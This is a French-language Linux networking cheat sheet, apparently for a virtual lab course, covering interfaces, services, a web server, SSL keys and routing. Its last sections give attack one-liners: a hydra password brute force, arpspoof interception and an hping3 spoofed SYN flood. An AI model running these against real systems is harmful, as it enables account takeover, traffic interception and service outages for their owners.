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Gestion de l'inte​rface réseauGestion de l'inte​rface réseau

voir ses interfacesvoir ses interfaces
activesactives

ip link

allumer une carteallumer une carte
réseauréseau

ifup <in​ter​fac​e>

éteindre une carteéteindre une carte
réseauréseau

ifdown <in​ter​fac​‐
e>

<in​ter​fac​e> : eth0

Gestion des servicesGestion des services

vérifier le status d'unvérifier le status d'un
serviceservice

systemctl status
<se​rvi​ce>

démarrer un servicedémarrer un service systemctl start <se​‐
rvi​ce>

arrêter un servicearrêter un service systemctl stop <se​‐
rvi​ce>

redémarrer unredémarrer un
serviceservice

systemctl restart
<se​rvi​ce>

<se​rvi​ce> : <no​m_d​u_s​erv​ice> | <no​m_d​‐
u_s​erv​ice.se​rvi​ce>

Serveur webServeur web

lancerlancer
(class​‐(class​‐
ique)ique)

busybox httpd -f -vv -h /var/w​‐
ww/html

lancerlancer
(sécurisé)(sécurisé)

systemctl start lighttpd

emplac​‐emplac​‐
ement duement du
sitesite

/var/w​ww/html

générergénérer
une cléune clé
sslssl

openssl req -new -newkey
rsa:4096 -x509 -sha256 -days
365 -nodes -out nom.crt -
keyout nom.key

 

Fichiers de config​urationFichiers de config​uration

nom de la machinenom de la machine /etc/h​ostname

gestion des dnsgestion des dns /etc/hosts

gérer la passerellegérer la passerelle
réseauréseau

/etc/n​etw​ork​/in​ter​‐
faces

Gestion de la machine virtuelleGestion de la machine virtuelle

lancer leslancer les
machinesmachines

/mnt/n​ett​a/a​pps​/vn​et/​nem​u-
vnet netadm

sauveg​‐sauveg​‐
arder lesarder les
machinesmachines

poweroffsur chacune des
machines puis save()sur le
terminal

restaurerrestaurer
lesles
machinesmachines

/mnt/n​ett​a/a​pps​/vn​et/​nem​u-r​‐
estore ∼/vnet​/ne​tad​m.tgz

quitterquitter
nemunemu

quit() dans le terminal

gestion du routeurgestion du routeur

définir une machinedéfinir une machine
comme routeurcomme routeur

echo 1 > /proc/​‐
sys​/ne​t/i​pv4​/ip​_fo​‐
rward

Piraterie (dicti​onn​aire)Piraterie (dicti​onn​aire)

attaquerattaquer hydra -V -f -l admin -P <fi​chier
de mots de passe> http-g​‐
et:​//<url victim​e>

 

Piraterie (Man in the middle)Piraterie (Man in the middle)

arp spoofarp spoof arpspoof -t <vi​cti​me> <ro​‐
ute​ur>

lancerlancer
wiresharkwireshark

wireshark -i eth0 -k

Piraterie (DOS)Piraterie (DOS)

attaquerattaquer hping3 --flood --syn --spoof <IP
source usurpé​e> <IP victim​e>
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